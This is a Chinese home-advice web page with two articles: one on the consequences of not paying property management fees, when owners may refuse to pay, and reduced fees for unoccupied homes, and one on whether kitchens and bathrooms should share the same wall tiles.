不交物业费会怎么样？没装修的房子如何交物业费

现在的住宅小区大多会交于物业公司来进行管理，物业公司提供了清洁、安保等服务，每个月需要向住户收取一定的物业费。物业费是按平米计算，再加上垃圾费、污水处理费等等，每个月的物业费可能要好几百元，高的还要几千元呢。有些人觉得物业费是一笔不合理的支出，自己也不想要享受物业公司的服务，就不交物业费了。那么，不交物业费会怎么样?不交物业费会怎么样?按照约定交纳物业管理费是业主应承担的一项基本的合同义务，没有足够的抗辩理由而不交物业费是一种违约行为。但出现以下几种情况，业主可拒交物业费：1、物业公司提供的服务质量达不到合同约定的标准;2、物业公司擅自扩大收费范围、提高收费标准、重复收费的;3、物业公司不经业主许可自行增加的收费项目。如果物业公司提供的服务达不到合同约定的标准，说明服务质量不到位。出现服务质量与收费价格不符的问题，业主可以通过业主委员会直接与物业公司交涉，甚至可以根据合同的约定改聘其他物业公司来管理小区。没装修的房子如何交物业费房屋已经交付，有关的物业管理费应当交纳，因为无论业主是否实际居住或装修，物业公司有许多物业服务均已提供(如保安、保洁等)，当然，如果当地有政策，没有入住的业主可以免交或者是少交物业费也是可以的，具体可以和物业商量。不交物业费就不能装修住房吗?根据《物权法》及各地住宅小区物业服务相关规定，物业服务费一般自房屋交付使用、购房者(业主)领取钥匙当月，或次月起计收。也就是说，业主在接受所购房屋之后，应当向小区物业管理部门交纳相应的物业费用。以你为例，即便你尚未入住，但物业管理部门为养护小区绿化、巡查小区安全等，已经付出了劳动，因此，建议你依合同约定，按时足额交纳物业管理费用，否则物业管理部门可以依法向法院起诉，要求你履行相应义务。但是，业主是否交纳物业管理费，与业主对住房进行装修，属两个不同性质的法律关系。因此，我们认为物业管理公司的工作人员以你未交纳物业管理费为由，阻拦你对住房进行装修，没有法律依据，应属错误。8种情况可拒交物业费以下几种情况可以不交物业管理费：1、因为房屋质量问题还未交房，物业费是由开发商缴纳2、将房屋出租，租赁合同中注明了物业费有租住户缴纳的3、物业公司未履行合同的服务责任的，全体业主可以拒交，但要有有力的证据4、物业公司没有和业主签合同5、物业公司提供的服务质量达不到合同约定的标准6、物业公司没有物价管理部门各项审批文件原件7、物业公司擅自扩大收费范围、提高收费标准的8、物业公司不经业主许可自行增加的收费项目不住未必全交正常的物业费用缴纳从交钥匙的第二个月开始。收房后从未入住的，经确认，可以按照70%缴费;入住后(含房屋装修)，但不使用住房，经确认，连续使用不超过六个月的房屋，从第七个月开始，物业费按照70%缴纳。不交物业费会怎么样?不交物业费的业主肯定是会被物业公司经常上面催收的，而且也极容易与物业公司发生摩擦、纠纷、口角等等，在没有理据的情况下，不建议住户盲目的不交物业费。但要是物业公司做错了，或是出现了可以拒缴物业费的情况，小区的住户可以暂时不交物业费，并且找个律师来解决自己面对的法律纠纷，维护个人权益。以上就是不交物业费会怎么样的相关内容，希望能对大家有所帮助！

装修新房时厨房卫生间用一样的墙砖好不好

拥有一个属于自己的房子是很多八零九零后梦寐以求的事情，很多人通过自己的努力也达到了。在拥有新房之后装修的过程也是让人非常的享受的，通过自己的设计让新房越来越有家的感觉。但也有很多人在装修的过程中存在大大小小的疑惑，其中就有一个问题：装修新房时厨房卫生间用一样的墙砖好不好？这个疑问很多经历过家装的朋友也没有办法说出个所以然。那么下面的文章就给大家详细说明一下。 其实在装修中厨房卫生间用一样的墙砖好不好？针对这个问题没有绝对的回答，毕竟也有很多人喜欢整体统一的风格，所以会在厨房和卫生间使用同样的墙砖，但其实最好不要用一样的。一、厨房和卫生间在选择墙砖上的不同1、卫生间通常使用通体砖作为地砖，整块砖的表面没有上釉，前后两侧的材质和颜色相同，故名通体砖。砖在烧制后被研磨并具有良好的防滑性和耐磨性，这通常被称为“防滑地砖”。这种砖比较适合卫生间使用，因为卫生间经常与水打交道，如果使用表面光滑的砖很容易让人跌倒，有较大的安全隐患。2、厨房内经常使用的则是釉面砖，即表面上釉的砖。通常，釉面砖与抛光砖相比具有更丰富的颜色和图案，同时起到防污作用。瓷砖结构紧凑，强度高，吸水率低，抗污性强，广泛用于厨房装饰。二、厨房卫生间用一样的墙砖的缺点1、厨房和卫生间的瓷砖如果是一模一样的话，时间长了会没有新奇感，产生视觉疲劳，让人感到乏味。2、因厨房和卫生间的功用不同，需要的砖的种类也不一样，如果厨房和卫生间都用同一种砖的话对日常生活使用也可能存在一些影响。 看了以上的内容仍然会有人存在疑问，厨房卫生间用一样的墙砖好不好？是不是绝对不能用同样的墙砖呢？其实文章在开头就已经回答过了，这个不是绝对的，大部分出租的房子里厨房和卫生间就用的是一样的墙砖，但这只是图省事。如果是真正自己居住的房子，就像文章里面分析的那样，建议最好厨房和卫生间里铺设不同的墙砖，不管是从审美的角度来说还是从实际使用的角度来讲，厨房和卫生间因为使用功能不同所以墙砖最好不要用一样的。 以上就是关于装修新房时厨房卫生间用一样的墙砖好不好的解释了，希望对大家有所帮助。​ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();